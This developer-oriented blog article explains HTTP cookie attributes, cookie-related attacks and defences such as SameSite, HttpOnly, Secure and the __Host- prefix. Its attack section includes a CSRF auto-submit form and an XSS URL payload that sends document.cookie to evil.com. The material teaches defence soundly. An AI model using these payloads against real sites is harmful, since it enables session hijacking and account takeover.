Cookie Security: 10 Tips To Protect Your Web Application
Tags: webdev, security, programming, cybersecurity
Published: 2021-03-12 09:06:59

Learn everything about HTTP cookie security, what are cookie-related attacks and how to defend against them.

I will assume that the reader is a developer, and use terms like "variable" and "property" to make things *easier* to understand. If the reader happens not to be a developer, I apologize.

You can read the original article [here](https://www.appsecmonkey.com/blog/cookie-security/)

Let's begin!

## What Are Cookies?

An HTTP cookie is a variable that a website can set in a browser. Cookies are practically a key-value storage, but there are some additional properties in the `Cookie` class that you will learn about soon.

Usually, web servers set cookies via the `Set-Cookie` HTTP response header, like so.

```yaml
Set-Cookie: SessionId=s3cr3t;
```

However it is also possible for a website to set cookies via JavaScript: 

```javascript
document.cookie = "SessionId=s3cr3t";
```

This is what a cookie looks like in the browser's cookie jar: 

```yaml
Name: "SessionId"
Value: s3cr3t"
Domain: "www.example.com"
ExpiresOrMaxAge: "Session"
HostOnly: true
HttpOnly: false
Path: "/"
SameSite: "None"
Secure: false
```

Browsers then send these cookies back to the webserver in the `Cookie` request header, like so: 

```yaml
Cookie: Foo=Bar; SessionId=s3cret;
```

Note that browsers only send the name and value of the cookies back to the webserver.

## What Are Cookies Used For?

Cookies are used for many purposes, mostly tracking, personalization, and session management. In this article, we are mainly concerned with session management.

For instance, it's common for a web application to issue a session identifier cookie to users upon authentication.

```yaml
Set-Cookie: SessionId=s3cr3t
```

## Where Are Cookies Sent?

Cookies have four properties that affect their scope, that is, to which URL addresses the cookie gets sent. These are: 
- `domain`: To which domain, possibly including subdomains, should browsers send the cookie?
- `hostOnly`: Should browsers only send the cookie to the exact domain that sets it, excluding subdomains?
- `path`: To which URL paths (i.e., /foo/bar) should browsers send the cookie?
- `secure`: Should browsers only send the cookie over encrypted channels (HTTPS, WSS) or also unencrypted (HTTP, WS)?

## Who Can Set Cookies For A Website?

Any website can set cookies for: 

- Its domain.
- Its parent domain (any of them except for TLD or public suffix).
- By extension, but not directly, all subdomains of the parent domain.

For example, `foo.example.com` can set a cookie for `.example.com`, in which case browsers will also send the cookie to `example.com` and `bar.example.com`.

Specifying the domain is facilitated via the `Domain` property. 

### Can HTTP Websites Set Cookies on HTTPS Websites?

Yes. The scheme (e.g. http:// or https://) doesn't matter. Also, the port doesn't matter. For example, websites `https://www.example.com:12345` and `http://www.example.com` share cookies.

## Domain Property

This property determines which websites the cookie should be sent to, and defaults to the hostname of the website that sets the cookie.

If `www.example.com` is the one setting the cookie, then the `domain` will be `www.example.com`.

It is possible to change this value into, e.g. `.www.example.com`, after which browsers will send the cookie to `www.example.com` and all of its subdomains (`foo.www.example.com`, `bar.www.example.com`, etc.).

```yaml
# Send the cookie to www.example.com and all subdomains of www.example.com
Set-Cookie: SessionId=s3cret; domain=.www.example.com
```

> **☝ Note**
> 
> Even if you specify `domain=www.example.com`, the browser will silently change it to `domain=.www.example.com`.

<span></span>

A website can also scope a cookie to its parent domain, with the following limitations: 

- Scoping a cookie for a TLD (Top Level Domain) is not allowed.
- Scoping a cookie for a public suffix is not allowed. Read more about the list here: [public suffix list](https://publicsuffix.org/)

If `www.example.com` scopes a cookie to `.example.com`, browsers will send the cookie to `example.com` and all its subdomains.

```yaml
# Send the cookie to example.com and all subdomains of example.com
Set-Cookie: SessionId=s3cret; domain=.example.com
```

Setting the `domain` property will automatically flip the `hostOnly` boolean to `false`. Let's look at this property next.


## HostOnly Property

The `HostOnly` property determines whether browsers should only send the cookie to the exact domain that created it. If it's false, browsers will also send the cookie to subdomains.

There is no manual configuration for `HostOnly` in the `Set-Cookie` header. It is always `true` unless you set the `domain` property, in which case it is always `false`.

```yaml
# Here HostOnly is true
Set-Cookie: SessionId=s3cret;
```

```yaml
# Here HostOnly is false
Set-Cookie: SessionId=s3cret; domain=www.example.com
```

## Path Property

Developers can use the `path` property to limit the paths to which the cookie gets sent.

By setting the `path` to `/foo/bar`, browsers will only include the cookie in requests such as `https://www.example.com/foo/bar` or `https://www.example.com/foo/bar/hello`.

Browsers will not send it to `https://www.eample.com/foo/barbars`.

```yaml
# Here, the cookie only gets sent to www.example.com/foo/bar and its subdirectories.
Set-Cookie: SessionId=s3cr3t; path=/foo/bar
```

## Cookie Attacks
There is a multitude of cookie-related security risks. Here are some of the most prominent ones: 

### CSRF (Cross-Site Request Forgery)

These vulnerabilities usually arise when a web application that uses cookies for session management fails to verify an HTTP POST request's origin.

Say, for example, that users could log in to AppSec Monkey and update their email addresses.

The backend code would perhaps look like this (at least if you use Django): 
```python
def update_email(request):
  new_email = request.POST['new_email']
  set_new_email(request.user, new_email)
```

Now let's say there's an evil website `evil.example.com` with the following HTML form and auto-submit script: 

```html
<form method="POST"  action="https://www.appsecmonkey.com/user/update-email/">
  <input type="hidden" name="new_email" value="evil@example.com" />
</form>
<script type="text/javascript">
  document.badform.submit();
</script>
```

When a user that is currently logged in to `www.appsecmonkey.com` enters the malicious website, the HTML form is auto-submitted on the user's behalf, and the following HTTP POST request gets immediately sent to `www.appsecmonkey.com`: 

```yaml
POST /user/update-email/ HTTP/1.1
Host: www.appsecmonkey.com
Cookie: SessionId=s3cr3t
...

new_email=evil@example.com
```

And the email address gets changed.

Notice how the `SessionId` cookie was included in the request, making the attack possible.

Read more about CSRF attacks here: [CSRF Attacks & Prevention](https://www.appsecmonkey.com/blog/csrf-attack-and-prevention/)

### XSS (Cross-Site Scripting)

XSS vulnerabilities arise when untrusted data gets interpreted as code in a web context. They can result from many programming mistakes, but here is a simple example.

Say, we have a PHP script like this.
```php
echo "<p>Search results for: " . $_GET('search') . "</p>"
```

It is vulnerable because it generates HTML unsafely. The `search` parameter is not *encoded* correctly. An attacker can create a link such as the following, which would execute the attacker's JavaScript code on the website when the target opens it: 

```html
https://www.example.com/?search=<script>alert("XSS")</script>
```

Results in HTML like: 
```html
<p>Search results for: <script>alert("XSS")</script></p>
```

Now what the attacker can do, is change the `alert("XSS")` into something more nefarious. For example, the following IMG tag would take the logged in user's cookies and send them over to evil.com: 

```html
https://www.example.com/?search=<img src=x onerror="this.src='https://www.evil.com/collect?cookie='+document.cookie">
```

Note how the cookie was *accessible to JavaScript code*, making it possible to steal it. Note also how the cookie was *sent* in the GET request to `https://www.example.com/search`, making it possible to exploit the XSS vulnerability in the context of an authenticated user.

Read more about XSS attacks here: [XSS Attacks & Prevention](https://www.appsecmonkey.com/blog/xss-attack-and-prevention/)

### XS-Leaks (Cross-Site Leaks)
XS-Leaks (or Cross-Site Leaks) are a [set of browser side-channel attacks](https://xsleaks.dev/). They enable malicious websites to infer data from the users of other web applications.

For instance, evil.com could send a request to www.example.com on your behalf, and based on the response time, deduce what kind of content was returned to you.

```js
var start = performance.now()

fetch('https://www.example.com', {
  mode: 'no-cors',
  credentials: 'include'
}).then(() => {
  var time = performance.now() - start;
  console.log("The request took %d ms.", time);
});
```

There are many, many more similar techniques and novel attacks using them. For this article's purposes, just notice that the timing attack was possible because the browser included the session cookie in the cross-site request.

Read more about XS-Leaks here: [XS-Leaks Attacks & Prevention](https://www.appsecmonkey.com/blog/xs-leaks/)

### Network Attacks
An attacker on the same network as the browser user can trivially intercept the network connection between the browser and the webserver. That's just how the network protocols work.

As such, developers and architects should not consider network medium a security control (encryption is a security control), but that's a rant for another day.

An attacker on the network can then force the target user's browser into making an unencrypted connection to `http://www.example.com` and then steal the session cookie from the request.

Notice how the session cookie, which was only supposed to be used on an HTTPS page, was transmitted over an unencrypted connection.

Network attacks can also be used to set or overwrite cookies. For example, the attacker could again force an unencrypted connection to the webserver and then forge a reply with a `Set-Cookie` header.

```yaml
Set-Cookie: SessionId=123
```

The security implications of forcing a cookie into a user's browser vary.

A typical attack is session fixation. An attacker forces a session identifier into the target user's browser and then waits for the user to log in. The vulnerable web application fails to create a new session identifier on login. Instead, it authenticates the cookie already known to the attacker.

For our purposes here, observe how it was possible to set the cookie over an unencrypted connection.

### Malicious Subdomains

Let's say you have `safe.example.com` and `hacked.example.com`.

The first way in which the hacked domain could attack your users' cookies is that you have for some reason specified the `domain` property and scoped your cookie to `.example.com`.

Now `hacked.example.com` only has to redirect your logged-in user to their website, and the cookies will be theirs.

The second way is that `hacked.example.com` sets or overwrites a cookie and scopes it to the domain `.example.com`. Now the cookie, which was set by `hacked.example.com` will be sent to `safe.example.com`. The security implications again differ for each application, but session fixation is a common threat.

### Physical Attacks

A subsequent computer user can inspect the browser's memory, cache, cookies, storage, etc. after the previous user has left. Suppose there are valid session identifiers on the disk. In that case, the attacker can restore the session and log in as the previous computer user.

## Attack Prerequisites

We have identified the following key requirements for various cookie-related attacks.

- Browsers allow transmitting the cookie in cross-site requests.
- Browsers allow JavaScript code to access the cookie.
- Browsers send the cookie in unencrypted requests.
- Browsers allow setting the cookie within unencrypted connections.
- Browsers allow for subdomains to set the cookie.
- Browsers allow for the cookie to persist upon browser sessions.
- Webservers don't create a new session identifier upon authentication.
- Webservers don't invalidate session identifiers upon logout.
- Webservers don't adequately clear the cookies upon logout.

Let's now start looking into how we can deprive attackers of each of them, one by one.

## SameSite Property

The first cookie security feature that we'll talk about is the `SameSite` property.

Remember how the prerequisite for many attacks (CSRF, XSS, some XS-Leaks) was that the browser includes the session cookie in cross-site requests? Well, that precisely is what `SameSite` prevents.

There are three modes in `SameSite`, depending on how strict you want the protection to be: `Lax`, `Strict` and `None.`

Generally, `Lax` is suitable for all applications, while `Strict` tends to be a better fit for security-critical systems. 

### SameSite Lax

The lax mode mitigates many XS-leaks, most CSRF, and also some XSS attacks. It does this by preventing the cookie from being included in cross-site requests, except for top-level navigation when the user clicks a link, gets redirected, opens a bookmark, etc.

```yaml
Set-Cookie: SessionId=s3cr3t; SameSite=Lax; ...
```

### SameSite Strict

The strict mode prevents even more XS-Leaks and CSRF attacks and is pretty good at blocking reflected XSS attacks. It doesn't allow for browsers to include the cookie even in top-level browsing. The strict mode will usually hurt UX and is not suitable for all applications.

```yaml
Set-Cookie: SessionId=s3cr3t; SameSite=Strict; ...
```

### SameSite None
`None` is just for opting out because `SameSite=Lax` is starting to be the default on newer browsers.

```yaml
Set-Cookie: SessionId=s3cr3t; SameSite=None; Secure; ...
```

Read more about the SameSite property here: [SameSite Cookies and Why They Are Awesome](https://www.appsecmonkey.com/blog/samesite-cookies/)


## __Host-prefix

The next cookie security feature on our list is the `__Host` prefix. This is not very widely known, but when it comes to cookies, name matters! Name your cookies `__Host-Something`, and web browsers will apply two significant restrictions on how webservers can set the cookie.

1. Browsers will not allow setting the cookie over an unencrypted connection or without the `Secure` attribute.
2. Browsers will not allow setting the `domain` property, forcing the cookie to be a `hostOnly` cookie (hence the prefix name).

```yaml
Set-Cookie: __Host-SessionId=s3cr3t ...options...
```

The __Host-prefix defends against network attacks and malicious subdomains.

## HttpOnly Property

One of the cookie security features is there specifically to protect against XSS, and that is the `HttpOnly` property.

This property will prevent JavaScript code from accessing the cookie, preventing an attacker from stealing it in the event of a successful XSS (Cross-Site Scripting) attack.

```yaml
Set-Cookie: SessionId=s3cr3t; ...other options... HttpOnly
```

## Secure cookies

Finally, the `Secure` property will prevent the cookie from being leaked over an (accidental or forced) unencrypted connection to the webserver. Browsers won't include cookies set with the `Secure` property in http:// or ws:// requests, only https:// and ws://.

```yaml
Set-Cookie: SessionId=s3cr3t; ...other options... Secure
```

## Handling User Login

To prevent the session fixation attacks mentioned above, you must always create a new session identifier for the user upon successful authentication. Never "make the old session id authenticated".

## Expiration

By setting an expiration time for a cookie, browsers won't delete it before that time arrives, even if the user closes the browser.

```yaml
Set-Cookie: SessionId=s3cr3t; Expires=Tue, 15 Feb 2021 08:00:00 GMT
```

As such, it's best not to set this property. Omitting `Expires` will make the cookie a *session cookie* in browser terminology, which means that the browser is much more likely to delete it when the browser closes.

I say "much more likely" because browsers can decide to keep the cookies on disk for "restore session" features.

Still, it's best to try, at least.

## Clearing Cookies

Webservers delete cookies by setting a new cookie with a dummy value such as "deleted" with an expiration time set to the past.

```yaml
Set-Cookie: SessionId=deleted; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT
```

You can still do that. But you can also return the `Clear-Site-Data` header to instruct the browser to remove any cookies for your website.

```yaml
Clear-Site-Data: "cookies"
```

In fact, the `Clear-Site-Data` can do much more: 

```yaml
Clear-Site-Data: "cookies", "cache", "storage", "executionContexts"
```

Read more about `Clear-Site-Data` here: [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Clear-Site-Data](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Clear-Site-Data)

## Handling User Logout

When the user logs out, in addition to clearing the cookies from the browser, you must invalidate the session identifier on the server-side.

This way, even if a cookie gets compromised after the user has logged out, that cookie no longer has any value to an attacker.

## The Perfect Cookie

This is a reasonable secure cookie: 

```yaml
Set-Cookie: __Host-SessionId=s3cr3t; Secure; HttpOnly; SameSite=Lax; Path=/
```

This is as secure as we can currently get, but the `SameSite=Strict` may hurt user experience.

```yaml
Set-Cookie: __Host-SessionId=s3cr3t; Secure; HttpOnly; SameSite=Strict; Path=/
```

## Conclusion

There are quite a few cookie-related attacks, but luckily modern browsers provide us with mechanisms to mitigate them quite well.

1. Name your cookies __Host-something to protect against network attacks and malicious subdomains.
2. Omit the `Domain` property to protect against malicious subdomains.
3. Set the `SameSite` property to either `Lax` or `Strict` to protect against XSS, CSRF, and XS-Leaks attacks.
4. Set the `HttpOnly` property to protect the cookie from theft upon XSS attacks.
5. Set the `Secure` property to protect the cookie from being leaked when targeted by network attacks.
6. Create a fresh session cookie for your users upon authentication.
7. Omit the `Expires` property when setting the cookie to instruct browsers to delete it after the browser closes. They won't always obey, but it's best to try, at least.
8. Invalidate the session cookies on the server-side when the user logs out so that the cookie will not be useful to an attacker anymore.
9. Clear the cookies by setting a dummy value and an expiration time in the past.
10. Also clear the cookies and preferably the cache, storage, and executionContext as well by sending the Clear-Site-Data header upon logout.

## Get the web security checklist spreadsheet!
[![Subscribe](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/3iqd1ef4a5a0icyvvk65.jpg)](https://eepurl.com/hqAGt5)
 ☝️ [Subscribe](https://eepurl.com/hqAGt5) to AppSec Monkey's email list, get our best content delivered straight to your inbox, and <b>get our 2021 Web Application Security Checklist Spreadsheet for FREE</b> as a welcome gift!

## Don't stop here
If you like this article, check out the other application security guides we have on [AppSec Monkey](https://www.appsecmonkey.com/) as well.

Thanks for reading.